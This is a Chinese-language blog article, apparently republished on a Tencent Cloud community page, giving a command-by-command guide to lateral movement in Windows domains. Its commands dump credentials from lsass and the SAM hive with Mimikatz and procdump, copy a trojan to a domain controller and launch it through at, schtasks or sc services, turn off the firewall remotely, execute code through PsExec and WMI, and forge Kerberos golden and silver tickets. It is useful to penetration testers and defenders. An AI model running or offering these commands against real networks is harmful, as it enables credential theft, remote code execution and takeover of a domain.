Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >横向移动

横向移动

作者头像
鸿鹄实验室
发布于 2022-11-02 09:06:09
发布于 2022-11-02 09:06:09
2.5K00
代码可运行
举报
文章被收录于专栏:鸿鹄实验室鸿鹄实验室
运行总次数:0
代码可运行

在内网渗透过程中,当得到内网中某一台机器权限后,如果需要进一步的扩大攻击范围,那么这时候就需要进行横向移动,以被攻陷的主机作为跳板,来访问域内其他主机.通过此类攻击手段,最终可能会获得域控制器(DC)的访问权限及重要数据.

windows凭据窃取

Windows的系统密码hash一般由两部分组成:LM-Hash和NTLM-Hash hash格式为username:RID:LM-Hash:NTLM-Hash

Mimikatz

下载地址:https://github.com/gentilkiwi/mimikatz Mimikatz可以从lsass.exe 进程里获取windows处于active状态账号的明文密码。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
privilege::debug        //提升权限
sekurlsa::logonpasswords        //抓取密码

导出SAM表,通过mimikatz来提取

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM

lsadump::sam /sam:SAM /system:SYSTEM

Procdump

Procdump是微软官方发布的一款调试工具,可通过Procdump转储内存文件到本地再通过mimikatz来抓取文件中hash,可躲避杀软查杀 使用Procdumplsass.exe转储成dmp文件

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
procdump64.exe -accepteula -ma lsass.exe lsass

使用mimikatz从转储的lsass.dmp中读取明文密码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"

Get-PassHashes.ps1

下载地址:https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1 Get-PassHashes.ps1nishang中的一个脚本,可用于导出hash

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Import-Module .\Get-PassHashes.ps1
Get-PassHashes

Windows远程连接和相关命令

IPC

IPC(Internet Process Connection)共享命名管道的资源,是为了时间进程间通信而开放的命名管道,通过提供用户名密码建立一条安全的、加密的、用于数据交换的通道.通过这个连接,可以在目标机器上执行命令,文件上传/下载等.在同一时间内,两个ip之间允许建立一个连接. 利用条件

  • 目标机器开放129、445端口
  • 目标机器管理员开启了ipc$默认共享
  • 知道目标机器账号密码

通过net来建立连接

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
域成员---win7:192.168.10.3
域控---2008192.168.10.1

net use \\[DC-IP]\ipc$ ["password"] /user:[username]
net use \\192.168.10.1\ipc$ "Admin@123" /user:administrator

net use查看连接

通过建立的IPC连接,可便于win7访问2008的文件,进行上传、下载等操作。

IPC连接还可进行本地映射,将DC的C盘映射到本地Z盘

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
net use z: \\[IP]\c$ [password] /user:[username]
net use z: \\192.168.10.1\c$ "Admin@123" /user:administrator

删除IPC连接

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
net use \\[IP] /del /y
net use \\192.168.10.1 /del /y

dir命令

dir用于显示目录的文件和子目录的列表。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
dir \\192.168.10.1\c$       //列出DC上C盘的文件

tasklist命令

tasklist显示本地或远程机器上当前运行的进程列表。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
tasklit /S 192.168.10.1 /U administrator /P Admin@123       //列出DC上运行的进程
  • /S 指定IP地址
  • /U 指定哪个用户执行这个命令
  • /P 指定该用户密码

copy命令

copy复制一份或多份文件

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
copy C:\test.txt \\192.168.10.1\c$      //将test.txt文件复制到DC的C盘目录下(可复制木马等)

type命令

type显示文本文件的内容

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
type \\192.168.10.1\c$\test.txt         //读取目标机器上的文件

at命令

at用于显示或创建计划任务 可通过at命令设置计划任务执行命令,将结果写入文件中,然后通过type读取文件 时间可通过net time来获取

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
at \\192.160.10.1 15:17:30 cmd.exe /c "ipconfig > c:\test"

也可设置定时任务来执行木马文件 通过copy等方法将木马文件上传至目标机器

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
copy c:\artifact.exe \\192.168.10.1\c$

通过at来设置计划任务即可

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
at \\192.168.10.1 15:20:30 c:\artifact.exe

删除计划任务

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
at \\[IP] [ID] /delete      //在新建计划任务时会提示ID是多少或直接执行at可看计划任务ID
at \\192.168.10.1 1 /delete

schtasks命令

自Windows Vista、Windows Server 2008之后版本已经将at命令废弃了,可使用schtasks命令代替,schtasksat更灵活、自由. 常用参数:

  • /create 创建新计划任务
  • /query 列出所有计划任务
  • /delete 删除计划任务
  • /run 运行计划任务
  • /s 指定目标机器
  • /u 指定用户名
  • /p 指定木马
  • /tn 指定计划任务名称
  • /sc 指定计划频率(MINUTE、 HOURLY、DAILY、WEEKLY、MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT)
  • /tr 指定任务运行程序的路径
  • /ru 指定任务运行权限( ""、"NT AUTHORITY\SYSTEM" 或"SYSTEM")
  • /st 指定运行任务的开始时间

在目标机器上创建一个名为test的计划任务,该计划任务在开机时启动,启动程序为C盘下的artifact.exe,启动权限为system

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
schtasks /create /s 192.168.10.1 /tn test /sc onstart /tr c:\artifact.exe /ru system /u administrator /p "Admin@123" /f

查看名为test的任务

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
schtasks /query /s 192.168.10.1 /u administrator /p "Admin@123" /tn "test"

删除计划任务

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
schtasks /delete /s 192.168.10.1 /u administrator /p "Admin@123" /tn "test"

在使用schtasks命令时,会在系统中留下日志C:\windows\tasks\schedlgu.txt

sc命令

sc是用于与服务控制管理器和服务进行通信的命令行程序。

利用sc进行横向流程:

  • 与目标机器建立ipc连接
  • 将木马文件上传至目标机器
  • 通过sc创建一个名为test的服务
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
sc \\[IP] create [ServiceNname] binpath= "[path]"
sc \\192.168.10.1 create test binpath= "c:\artifact.exe"
  • 启动test服务即可
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
sc \\192.168.10.1 start test

删除创建的服务

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
sc \\[IP] delete [ServerName]
sc \\192.168.10.1 delete test

通过设置服务来关闭防火墙

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
sc \\192.168.10.1 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.19.1 start unablefirewall

利用PsExec

PsExec是一种轻量级telnet-replacement,可用于在其他系统上执行进程,为控制台应用提供完全交互性,而无需手动安全客户端软件。PsExec需要目标机器开启admin$共享(默认是开启的),如果目标机器开启防火墙,那么PsExec将无法使用. PsExec基本原理:

  • 通过ipc$连接,释放二进制文件psexecsvc.exe到目标机器
  • 动过服务管理SCManager远程创建一个psexec服务,并启动服务
  • 客户端连接执行命令,服务端通过服务启动相应的程序执行命令并返回数据
  • 运行结束后删除服务

在建立ipc$的情况加可直接进行连接

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
PsExec.exe -accepteula \\192.168.10.1 -s cmd.exe
-accepteula:第一次运行psexec时会弹窗,使用该参数不会弹框
-s:以system权限运行,不使用此参数测试administrator权限

没有建立ipc$连接可通过-u,-p两个参数来指定用户名密码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
PsExec.exe \\192.168.10.1 -u administrator -i -p Admin@123 cmd.exe

Metasploit中也有psexec模块

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
exploit/windows/smb/psexec
exploit/windows/smb/psexec_psh(powershell版本)

利用SmbExec

下载地址:https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.pysmbexec smbexec是一款基于pexec的与渗透测试工具,并配套samba工具,可以通过文件共享(admin,,c,ipc,,d)在远程系统中执行命令

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
smbexec.py [username]:[password]@[IP]

利用WMI

WMI(Windows Management Instrumentation,135端口)是Windows自带功能,WMI以本地和远程方式提供了许多管理功能,包括查询系统信息、启动和停止进程以及设置条件触发器,而且整个运行过程都在计算机内存中发生,具有极高的隐蔽性。

使用wmic远程执行命令,需要在目标机器开启WMI服务(需要开放135端口,wmic会以管理员权限在远程系统中执行命令)

查看目标机器进程信息

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
wmic /node:[IP] /user:[username] /password:[password] process list brief
wmic /node:192.168.10.1 /user:administrator /password:Admin@123 process list brief

使用cmd执行命令(没有回显需要通过ipc$和type来进行读取)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
wmic /node:192.168.10.1 /user:administrator /password:Admin@123 process call create "cmd.exe /c whoami > whoami.txt"

wmiexec

wmiexec是对windows自带的wmic做了一些改进,可通过用户名密码或者配合哈希传递等一起使用

wmiexec.py

该脚本是impacket工具包中的一个工具. 下载地址:https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
python wmiexec.py [username]:[password]@IP
python wmiexec.py -hashes [LM Hash]:[NT Hash] [username]@[IP]

wmiexec.vbs

通过vbs脚本来调用WMI来模拟PsExec功能.

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cscript.exe //nologo wmiexec.vbs /shell [IP] [username] [password]

Invoke-WMIMethod

Invoke-WMIMethod是powershell自带的模块

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#目标系统用户名
$User = "DC-2008\administrator"

#目标系统密码
$Password= ConvertTo-SecureString -String "Admin@123" -AsPlainText -Force

#账号密码整合,导入Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User , $Password

#远程运行计算器程序
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.10.1" -Credential $Cred

PTH、PTT、PTK

  • Pass The Hash (PTH,hash传递攻击)
  • Pass The Ticket(PTT,票据传递攻击)
  • Pass The Key(PTK,密钥传递攻击)

当使用PTH的时候当目标机器存在KB2871997补丁后,PTH配合Mimikatz只能连接域用户,不能连接其他组的用户。PTK需要目标机器存在KB2871997补丁才可以连接域用户,也可以连接组,采用ase256连接,PTHPTK都是基于NTML认证,而PTT是基于kerbros协议。

PTH(Pass The Hash)

PTH在内网中是一种经典的攻击方式,可直接通过LM Hash(已弃用)和NTLM Hash访问远程主机或服务。在打补丁后,常规的PTH已无法成功,唯独SID为500的用户除外,利用这个用户仍可以通过PTH来远程ipc连接 如果禁用了NTLM认证,PsExec无法利用获得的NTLM Hash进行远程连接,可通过Mimikatz来进行连接

在得到NTLM Hash后通过Mimikatz进行hash传递

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
sekurlsa::pth /user:[username] /domain:[domain] /ntlm:[NTLM Hash]

sekurlsa::pth /user:administrator /domain:dc.2008.com /ntlm:70be8675cd511daa9be4b8f49e829327  //连接域用户

sekurlsa::pth /user:administrator /domain:workgroup /ntlm:70be8675cd511daa9be4b8f49e829327		连接本地用户

PTK(Pass The Key)

PTK需要一个前提条件,目标主机必须打KB2871997补丁,因此用的很少

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
sekurlsa::ekeys     //获得aes256值
sekurlsa::pth /user:administrator /domain:dc.2008.com /aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b

PTT(Pass The Ticket)

PTT是基于kerberos协议进行攻击,最常见的攻击方式:黄金票据、白银票据

黄金票据

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
mimikatz.exe "kerberos::golden /user:[用户名] /domain:[域名] /sid:[域SID] /krbtgt:[krbtgt NTLM Hash] /ticket:Administrator.kiribi"

白银票据

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
mimikatz.exe "kerberos::golden /domain:<域名> /sid:<域SID> /target:[目标主机名] /service:<服务类型> /rc4:[KRBTGT NTLM Hash] /user:[任意用户名] /ptt"

参考

https://www.freebuf.com/articles/network/251364.html https://xz.aliyun.com/t/9744#toc-3 https://www.freebuf.com/articles/system/229200.html http://www.kxsy.work/2022/02/14/nei-wang-shen-tou-zui-shi-yong-de-heng-xiang-yi-dong-zong-jie/#toc-heading-5 https://www.cnblogs.com/bmjoker/p/10355979.html

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-09-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
内网渗透 | 横向移动总结
通常我们在渗透过程中从外围打点进入内网后拿到主机提升到system权限,这一台主机就已经拿下。但是我们进入内网的目标还是拿下尽可能多的主机,这时候选择横向移动的方法就尤为重要。今天就对一些常用的横向手法进行一个总结,有不足之处欢迎师傅们进行斧正。
HACK学习
2021/07/21
4.1K0
域内横向移动分析及防御
本篇继续阅读学习《内网安全攻防:渗透测试实战指南》,本章系统的介绍了域内横向移动的主要方法,复现并剖析了内网域方面最重要、最经典的漏洞,同时给出了相应的防范方法
中龙技术
2022/09/29
1.7K0
域内横向移动分析及防御
内网渗透测试:内网横向移动基础总结
在内网渗透中,当攻击者获取到内网某台机器的控制权后,会以被攻陷的主机为跳板,通过收集域内凭证等各种方法,访问域内其他机器,进一步扩大资产范围。通过此类手段,攻击者最终可能获得域控制器的访问权限,甚至完全控制基于Windows操作系统的整个内网环境,控制域环境下的全部机器。
FB客服
2020/11/05
3.9K0
内网渗透基石篇--域内横向移动分析及防御
域内横向移动技术就是在复杂的内网攻击中被广泛使用的一种技术,尤其是在高级持续威胁中。攻击者会利用该技术,以被攻陷的系统为跳板,访问其他 域内主机,扩大资产范围(包括跳板机器中的文档和存储的凭证,以及通过跳板机器连接的数据库、域控制器或其他重要资产)。
FB客服
2021/07/27
3K0
内网渗透基石篇--域内横向移动分析及防御
内网环境下的横向移动总结
在内网渗透中,当攻击者获取到内网某台机器的控制权后,会以被攻陷的主机为跳板,通过收集域内凭证等各种方法,访问域内其他机器,进一步扩大资产范围。通过此类手段,攻击者最终可能获得域控制器的访问权限,甚至完全控制基于Windows操作系统的整个内网环境,控制域环境下的全部机器。
红队蓝军
2022/07/06
3.9K0
内网环境下的横向移动总结
域渗透-横向移动命令总结
Certutil是Windows自带的命令行工具,用于管理Windows证书并作为证书服务的一部分安装。Certutil提供了从网络中下载文件的功能,测试人员可以在远程主机上执行Certutil命令,控制其下载预先部署在可控服务器上的恶意文件,如攻击载荷等。
亿人安全
2022/12/23
2.4K0
域渗透-横向移动命令总结
从域认证协议以及密码凭据机制的角度来看内网渗透
Windows的登陆密码是储存在系统本地的SAM文件中的,在登陆Windows的时候,系统会将用户输入的密码与SAM文件中的密码进行对比,如果相同,则认证成功
亿人安全
2025/03/24
2060
从域认证协议以及密码凭据机制的角度来看内网渗透
内网横向移动:Kerberos认证与(哈希)票据传递攻击
在上节《内网横向移动:获取域内单机密码与Hash》中,我们讲了如何在内网渗透中抓取主机的的密码和哈希值。获取了Hash,我们可以对其进行破解,破解不出来的,我们就可以利用他们通过PTH、PTT等攻击手法继续对内网横向渗透,即下面要讲的。
FB客服
2020/08/11
2.1K0
内网横向移动:Kerberos认证与(哈希)票据传递攻击
【内网安全】 横向移动&PTH哈希&PTT票据&PTK密匙&Kerberos&密码喷射
IPC,WMI,SMB,PTH,PTK,PTT,SPN,WinRM,WinRS,RDP,Plink,DCOM,SSH;Exchange,LLMNR投毒,Plink,DCOM,Kerberos_TGS,GPO&DACL, 域控提权漏洞,约束委派,数据库攻防,系统补丁下发执行,EDR定向下发执行等。
没事就要多学习
2024/07/18
3760
【内网安全】 横向移动&PTH哈希&PTT票据&PTK密匙&Kerberos&密码喷射
横向移动与域控权限维持方法总汇
如果找到了某个用户的ntlm hash,就可以拿这个ntlm hash当作凭证进行远程登陆了 其中若hash加密方式是 rc4 ,那么就是pass the hash 若加密方式是aes key,那么就是pass the key 注意NTLM和kerberos协议均存在PTH: NTLM自然不用多说 kerberos协议也是基于用户的client hash开始一步步认证的,自然也会受PTH影响
ConsT27
2022/02/11
1.8K0
横向移动与域控权限维持方法总汇
红队技巧-常规横向手法
域内横向移动技术是红队作战在域内最基本技术之一,红队人员会利用该技术,以被攻陷的系统为跳板,通过已经收集的凭据和密码,来访问域内其他主机,扩大战果,最终目的是获取到dc的访问控制权限。
Gamma实验室
2021/07/01
2.3K0
什么是渗透_mitotracker deep red
Mimikatz 是一款功能强大的轻量级调试神器,通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点就是他可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码, lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在 lsass内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中, 而 mimikatz 正是通过对lsass逆算获取到明文密码!也就是说只要你不重启电脑,就可以通过他获取到登陆密码,只限当前登陆系统!
全栈程序员站长
2022/09/20
7050
什么是渗透_mitotracker deep red
内网渗透 | 多种传递攻击详解
在前面一篇文章已经对内网信息收集做了详细介绍,所需要的内网环境也包含在那篇文章中,接下来将以前期内网信息收集到的信息为基础介绍各种明文或hash传递攻击进行横向渗透。
亿人安全
2024/08/23
3240
内网渗透 | 多种传递攻击详解
内网横向移动思路和技巧
攻击者借助跳板机进一步入侵内网服务器后,接着会通过各种方式来获取目标系统权限,获取用户的明文密码或Hash值在内网中横向移动。
Bypass
2020/12/02
1.2K0
渗透中的内网渗透
本节主要介绍当拿下一台机器后,应该做的一些信息收集,尽可能的收集密码,去尝试其他机器。
Jumbo
2020/06/18
4.3K0
渗透中的内网渗透
渗透测试常规操作记录(下)
Linux 操作系统&内核版本&环境变量 >cat /etc/issue >cat /etc/*-release >cat /etc/lsb-release >cat /etc/redhat-release cat /proc/version >uname -a >uname -mrs >rpm -q kernel >dmesg | grep Linux >ls /boot | grep vmlinuz- >cat /etc/profile >cat /etc/bashrc >cat ~/.bash_pr
天钧
2020/10/23
5.8K0
渗透测试常规操作记录(下)
域渗透之NTML-Hash
早期SMB协议在网络上传输明文口令。后来出现"LAN Manager Challenge/Response"验证机制,简称LM,它是如此简单以至很容易被破解。微软提出了WindowsNT挑战/响应验证机制,称之为NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。Windows加密过的密码口令,我们称之为hash(中文:哈希),Windows的系统密码hash默认情况下一般由两部分组成:第一部分是LM-hash,第二部分是NTLM-hash。
陈殷
2020/03/06
4.7K0
红队笔记 - 横向移动
我们需要具有 ACL 写入权限才能为目标用户设置 UserAccountControl 标志,请参阅上文以识别有趣的 ACL。使用 PowerView:
Khan安全团队
2021/10/12
2.2K0
【永久开源】vulntarget-e续集
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全
2022/04/15
6390
【永久开源】vulntarget-e续集
内网渗透的步骤_内网渗透思路
内网渗透主要是基于前期外围打点getshell的webserver,通过收集webserver上的信息,然后对其他内网主机进行口令上的攻击,当然也有一些基于漏洞的攻击。
全栈程序员站长
2022/10/05
5.1K0
内网渗透的步骤_内网渗透思路
相关推荐
内网渗透 | 横向移动总结
更多 >
LV.1
这个人很懒,什么都没有留下~
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验